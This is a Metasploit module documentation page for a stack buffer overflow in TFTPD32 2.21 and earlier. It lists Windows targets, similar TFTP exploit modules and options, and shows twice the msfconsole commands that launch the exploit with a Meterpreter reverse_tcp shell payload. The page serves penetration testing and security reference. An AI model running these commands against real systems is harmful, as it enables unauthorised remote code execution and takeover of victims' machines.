Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
TFTPD32 <= 2.21 Long Filename Buffer Overflow
This module exploits a stack buffer overflow in TFTPD32 version 2.21 and prior. By sending a request for an overly long file name to the tftpd32 server, a remote attacker could overflow a buffer and execute arbitrary code on the system.
Rank
- Average
Authors
- MC < mc [at] metasploit.com >
References
Exploit Targets
- 0 - Windows NT 4.0 SP6a English
- 1 - Windows 2000 Pro SP4 English
- 2 - Windows XP Pro SP0 English
- 3 - Windows XP Pro SP1 English
Development
Similar Modules
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpdwin_long_filename
- exploit/windows/tftp/threectftpsvc_long_mode
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/tftp/tftpd32_long_filename
msf exploit(tftpd32_long_filename) > show payloads
msf exploit(tftpd32_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tftpd32_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(tftpd32_long_filename) > set RHOST [TARGET IP]
msf exploit(tftpd32_long_filename) > show targets
msf exploit(tftpd32_long_filename) > set TARGET [TARGET ID]
msf exploit(tftpd32_long_filename) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/tftp/tftpd32_long_filename
msf exploit(tftpd32_long_filename) > show payloads
msf exploit(tftpd32_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tftpd32_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(tftpd32_long_filename) > set RHOST [TARGET IP]
msf exploit(tftpd32_long_filename) > show targets
msf exploit(tftpd32_long_filename) > set TARGET [TARGET ID]
msf exploit(tftpd32_long_filename) > exploit
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 69) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
